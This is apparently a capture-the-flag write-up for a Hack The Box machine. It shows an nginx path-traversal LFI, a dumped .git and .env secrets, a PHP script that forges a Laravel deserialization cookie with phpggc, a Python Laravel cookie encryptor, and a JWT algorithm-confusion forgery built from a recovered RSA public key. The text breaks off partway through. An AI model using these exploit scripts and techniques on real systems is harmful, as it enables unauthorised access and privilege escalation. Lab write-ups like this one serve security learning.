NMAP:
# Nmap 7.93 scan initiated Fri Nov 24 16:03:44 2023 as: nmap -sCV -p22,80 -Pn -n -oN allports 10.10.11.228 Nmap scan report for 10.10.11.228 Host is up (0.068s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 7468141fa1c048e50d0a926afbc10cd8 (RSA) | 256 f7109dc0d1f383f20525aadb080e8e4e (ECDSA) |_ 256 2f6408a9af1ac5cf0f0b9bd295f59232 (ED25519) 80/tcp open http nginx 1.25.1 |_http-title: Did not follow redirect to http://cybermonday.htb |_http-server-header: nginx/1.25.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 24 16:03:54 2023 -- 1 IP address (1 host up) scanned in 9.53 seconds
# Nmap 7.93 scan initiated Fri Nov 24 16:03:44 2023 as: nmap -sCV -p22,80 -Pn -n -oN allports 10.10.11.228
Nmap scan report for 10.10.11.228
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 7468141fa1c048e50d0a926afbc10cd8 (RSA)
| 256 f7109dc0d1f383f20525aadb080e8e4e (ECDSA)
|_ 256 2f6408a9af1ac5cf0f0b9bd295f59232 (ED25519)
80/tcp open http nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 24 16:03:54 2023 -- 1 IP address (1 host up) scanned in 9.53 seconds
the box was running a web server on nginx.
lucas@parrot ~/machines/cybermonday/nmap feroxbuster -u 'http://cybermonday.htb' ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.3.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://cybermonday.htb 🚀 Threads │ 50 📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.3.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Cancel Menu™ ────────────────────────────────────────────────── 200 121l 355w 0c http://cybermonday.htb/login 302 12l 22w 0c http://cybermonday.htb/logout 301 7l 11w 169c http://cybermonday.htb/assets 301 7l 11w 169c http://cybermonday.htb/assets/css 301 7l 11w 169c http://cybermonday.htb/assets/js 301 7l 11w 169c http://cybermonday.htb/assets/img 301 7l 11w 169c http://cybermonday.htb/assets/views 301 7l 11w 169c http://cybermonday.htb/assets/views/components 301 7l 11w 169c http://cybermonday.htb/assets/views/home 301 7l 11w 169c http://cybermonday.htb/assets/views/dashboard 301 7l 11w 169c http://cybermonday.htb/assets/views/partials 🚨
lucas@parrot ~/machines/cybermonday/nmap feroxbuster -u 'http://cybermonday.htb'
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cybermonday.htb
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 121l 355w 0c http://cybermonday.htb/login
302 12l 22w 0c http://cybermonday.htb/logout
301 7l 11w 169c http://cybermonday.htb/assets
301 7l 11w 169c http://cybermonday.htb/assets/css
301 7l 11w 169c http://cybermonday.htb/assets/js
301 7l 11w 169c http://cybermonday.htb/assets/img
301 7l 11w 169c http://cybermonday.htb/assets/views
301 7l 11w 169c http://cybermonday.htb/assets/views/components
301 7l 11w 169c http://cybermonday.htb/assets/views/home
301 7l 11w 169c http://cybermonday.htb/assets/views/dashboard
301 7l 11w 169c http://cybermonday.htb/assets/views/partials
🚨
there was not to much, it was an app in which i could create an user, with that user i could not do to much, i just was able to see my balance and change my password.
i enumerate some directories, but there was not to much stuff i could d, so i tried the typicall LFI that Nginx is vulnerable in some cases.
when you are in a directory that you get a 301
, you can try to do and LFI by doing a directory traversal. Hacktricks had a POC about this
so i tested it on teh assets directory and found a 400 that is the behave of a lfi on nginx, since otehrwise i would get a 404.
so with that simptom, i fuzz for a lfi, there
and it worked
✘ lucas@parrot ~/machines/cybermonday/content ffuf -u 'http://cybermonday.htb/assets../FUZZ' -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -t 150 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.4.1-dev ________________________________________________ :: Method : GET :: URL : http://cybermonday.htb/assets../FUZZ :: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 150 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 ________________________________________________ database [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 74ms] app [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 83ms] lang [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 77ms] resources [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 84ms] public [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 78ms] . [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 87ms] config [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 412ms] tests [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 81ms] storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 94ms] vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 85ms] .git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 87ms] routes [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 76ms] .gitignore [Status: 200, Size: 179, Words: 1, Lines: 15, Duration: 79ms] :
✘ lucas@parrot ~/machines/cybermonday/content ffuf -u 'http://cybermonday.htb/assets../FUZZ' -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://cybermonday.htb/assets../FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
database [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 74ms]
app [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 83ms]
lang [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 77ms]
resources [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 84ms]
public [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 78ms]
. [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 87ms]
config [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 412ms]
tests [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 81ms]
storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 94ms]
vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 85ms]
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 87ms]
routes [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 76ms]
.gitignore [Status: 200, Size: 179, Words: 1, Lines: 15, Duration: 79ms]
:
knowin that there was a .git dir, i could use git-dumper to dump the directory and analyze the code locally
git-dumper http://cybermonday.htb/assets../ .git Warning: Destination '.git' is not empty [-] Testing http://cybermonday.htb/assets../.git/HEAD [200] [-] Testing http://cybermonday.htb/assets../.git/ [403] [-] Fetching common files
git-dumper http://cybermonday.htb/assets../ .git
Warning: Destination '.git' is not empty
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]
[-] Testing http://cybermonday.htb/assets../.git/ [403]
[-] Fetching common files
IGNORED IN GIT
posible mysql or redis as DB
But i had no access to it
however the .gitignore tell me that it was excluding that routes from the .git, but i could try to get them using the LFI, so i started with .env
since it contains most of the juice
APP_NAME=CyberMonday APP_ENV=local APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA= APP_DEBUG=true APP_URL=http://cybermonday.htb LOG_CHANNEL=stack LOG_DEPRECATIONS_CHANNEL=null LOG_LEVEL=debug DB_CONNECTION=mysql DB_HOST=db DB_PORT=3306 DB_DATABASE=cybermonday DB_USERNAME=root DB_PASSWORD=root BROADCAST_DRIVER=log CACHE_DRIVER=file FILESYSTEM_DISK=local QUEUE_CONNECTION=sync SESSION_DRIVER=redis SESSION_LIFETIME=120 MEMCACHED_HOST=127.0.0.1 REDIS_HOST=redis REDIS_PASSWORD= REDIS_PORT=6379 REDIS_PREFIX=laravel_session: CACHE_PREFIX= MAIL_MAILER=smtp MAIL_HOST=mailhog MAIL_PORT=1025 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null MAIL_FROM_ADDRESS="hello@example.com" MAIL_FROM_NAME="${APP_NAME}" AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_DEFAULT_REGION=us-east-1 AWS_BUCKET= AWS_USE_PATH_STYLE_ENDPOINT=false PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" CHANGELOG_PATH="/mnt/changelog.txt" REDIS_BLACKLIST=flushall,flushdb
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
CHANGELOG_PATH="/mnt/changelog.txt"
REDIS_BLACKLIST=flushall,flushdb
by finding the key, and after reading a POC about laravel deserealization, i found that it was possible to send serialized data by crafting a malicious cookie to the application, i just neeeded the base64 key that i found on the .env
file.
also they had a php code that creates the structure for the cookie, and uses phpggc to created a serialized payload that i could send to the box as the cookiename
<?php $cipher = 'AES-256-CBC'; $app_key = 'base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA='; $chain_name = 'Laravel/RCE6'; $payload = 'ping 10.10.14.15'; // Use PHPGGC to generate the gadget chain $chain = shell_exec('./phpggc '.$chain_name.' "'.$payload.'"'); // Key can be stored as base64 or string. if( explode(":", $app_key)[0] === 'base64' ) { $app_key = base64_decode(explode(':', $app_key)[1]); } // Create cookie $iv = random_bytes(openssl_cipher_iv_length($cipher)); $value = \openssl_encrypt($chain, $cipher, $app_key, 0, $iv); $iv = base64_encode($iv); $mac = hash_hmac('sha256', $iv.$value, $app_key); $json = json_encode(compact('iv', 'value', 'mac')); // Print the results die(urlencode(base64_encode($json)));
<?php
$cipher = 'AES-256-CBC';
$app_key = 'base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=';
$chain_name = 'Laravel/RCE6';
$payload = 'ping 10.10.14.15';
// Use PHPGGC to generate the gadget chain
$chain = shell_exec('./phpggc '.$chain_name.' "'.$payload.'"');
// Key can be stored as base64 or string.
if( explode(":", $app_key)[0] === 'base64' ) {
$app_key = base64_decode(explode(':', $app_key)[1]);
}
// Create cookie
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = \openssl_encrypt($chain, $cipher, $app_key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $app_key);
$json = json_encode(compact('iv', 'value', 'mac'));
// Print the results
die(urlencode(base64_encode($json)));
it uses PHPGGC to generates the data, and then printed it by console
it did not worked, so probably the restriction for unserialize was setted to true, however, i could try to impersonate others by abusing the appy_key that i found, so reading at hacktricks it has a program that allowsme to decode laravel cookies based on the b64 blob. and the apy_key
import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return '' def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, 'utf-8') value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') print(decrypt('eyJpdiI6IkFSQWErTDVVUHVDdmg1SEZpNmVjWFE9PSIsInZhbHVlIjoiQlpHUnhTbkIxUklzcC81STQ1L2l1U1VDcEVod3hXclhSdCt4SlhNRUZSMzRXMElQVWhaTk9Jd2N6YVFyeTF6MHJZajRESmZhL2dITW1TelV5RVc0aTVhYnIwMm4yZllJN2JlczZjVnFUQUJXNUIrM3Nrd05tVVZnd2RYdlg4YzEiLCJtYWMiOiJjMzRlYzVmNmFjMjlkOTJjNWJmM2U1ZTRiMmYxMWQ5YjZhZWI5M2JiYWMyOGZkOTE1ODBjMjE2MTQyNTllN2YzIiwidGFnIjoiIn0='))
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
print(decrypt('eyJpdiI6IkFSQWErTDVVUHVDdmg1SEZpNmVjWFE9PSIsInZhbHVlIjoiQlpHUnhTbkIxUklzcC81STQ1L2l1U1VDcEVod3hXclhSdCt4SlhNRUZSMzRXMElQVWhaTk9Jd2N6YVFyeTF6MHJZajRESmZhL2dITW1TelV5RVc0aTVhYnIwMm4yZllJN2JlczZjVnFUQUJXNUIrM3Nrd05tVVZnd2RYdlg4YzEiLCJtYWMiOiJjMzRlYzVmNmFjMjlkOTJjNWJmM2U1ZTRiMmYxMWQ5YjZhZWI5M2JiYWMyOGZkOTE1ODBjMjE2MTQyNTllN2YzIiwidGFnIjoiIn0='))
however i needed the structure, so by causing an error in the app, i could see the structure, i caise an error, by updating my profile to somebody with name admin
and email admin@cybermonday.htb
since the app has the debugger activated, i could see a lot of information about it
and i could see the structure of teh cookie
with that structure and the laravel decoder and encoder cookies that i found in hacktricks, i could try to see my isadmin to true
also i could see the version of the app running
and some SQL statements
also , if i tried to set the field isAdmin
to 1 when i updated my profile , i could do it
and in that way, i unlock the Dashboard
by reading at the changelog, i found some information, that the fixed a sqli, and added some webhooks
the hyperlink of webhooks
send me to another web page
so i added it to the /etc/hosts
this was an api that managed some of the endpoints for the webhooks
also there was another spot in products that i could upload files
so i started with the api, first i register a user
then i tried to see what i could do by login as the user
and got an access token
and found the uuid for my webhooks
once i had my uuid for webhooks , i tried to use it for redirect it to my box, with a POST method. by following the syntaxis of the /
page about the webhooks
i tried to enumerate do like a ssrf with my webhook, but it did not worked, so then i went to try to do something with the cookie that i got assigned from the server when i create a user
using my cookie, i use jwtio to see if it was just asking for a key, but it was asking for a certificate, a PEM and .CER, something that i had not touch before
lucas@parrot ~/machines/tools curl -X POST 'http://webhooks-api-beta.cybermonday.htb/auth/login' -d '{"username": "test", "password" : "test"}' -H 'Content-Type: application/json' {"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ0ZXN0Iiwicm9sZSI6InVzZXIifQ.YUH5IR0xH9qLhn5OF5WuC8cv7SX3iZDqGIExz2rp39KXXiqlNiC-9ta1uQ2gf-iDsCMJeRfWfzc39cPyb_jFjUsYLjQJGF1xTpNU1CZwK4SkWNv97GnQIdKF7oCsdMWIcBWf-8cn_UZLbwRn0bpM4vLi9HB1kRmprDKws876aqUg0NQmtayGHEAbcQBvs2QnMB4v-NzEJz0pS6wZvFFUpzDyI_P_hnUC92SvicGp9hjBysxx2BQzIaouQreDG931MNUoZDNojnctn5NJEuJRPwiaEuJhXEccLlRTsRgnz0rWTm81T_gqienHtRH-lC03ZqSmGiCdjw7F4tiInrrolQ"}}
lucas@parrot ~/machines/tools curl -X POST 'http://webhooks-api-beta.cybermonday.htb/auth/login' -d '{"username": "test", "password" : "test"}' -H 'Content-Type: application/json'
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ0ZXN0Iiwicm9sZSI6InVzZXIifQ.YUH5IR0xH9qLhn5OF5WuC8cv7SX3iZDqGIExz2rp39KXXiqlNiC-9ta1uQ2gf-iDsCMJeRfWfzc39cPyb_jFjUsYLjQJGF1xTpNU1CZwK4SkWNv97GnQIdKF7oCsdMWIcBWf-8cn_UZLbwRn0bpM4vLi9HB1kRmprDKws876aqUg0NQmtayGHEAbcQBvs2QnMB4v-NzEJz0pS6wZvFFUpzDyI_P_hnUC92SvicGp9hjBysxx2BQzIaouQreDG931MNUoZDNojnctn5NJEuJRPwiaEuJhXEccLlRTsRgnz0rWTm81T_gqienHtRH-lC03ZqSmGiCdjw7F4tiInrrolQ"}}
then in jwt
so i started reading about this format in hacktricks, adn realized that it is called a JWKS
so after reading about how to find the n and the e, that are the things needed to decryt, and found that usually it is located on teh path jwks.json
so i try to find it and found the page
n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w e = AQAB
n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w
e = AQAB
so hacktricks had a js program to decrypt the values of E and N and generates a pub key
const NodeRSA = require('node-rsa'); const fs = require('fs'); n ="pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w"; e = "AQAB"; const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public"));
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
i ran it and got a valid Publik Key
lucas@parrot ~/machines/cybermonday node dec -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7 97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1 6wIDAQAB -----END PUBLIC KEY-----
lucas@parrot ~/machines/cybermonday node dec
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ
fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z
Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7
97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S
xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn
gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1
6wIDAQAB
-----END PUBLIC KEY-----
with that , i used a extension for burpsuite to sign JWT called JWT editor, and with that i could sign my jwt with some extra parameters.
then after i do this, i had the ability to sign jwt from the repeater
so by ding this, i started to play wiht the extension of the api called Webhooks/Create
, since i could nopt play before , because i did had my role set to user, but now i could change it to admin
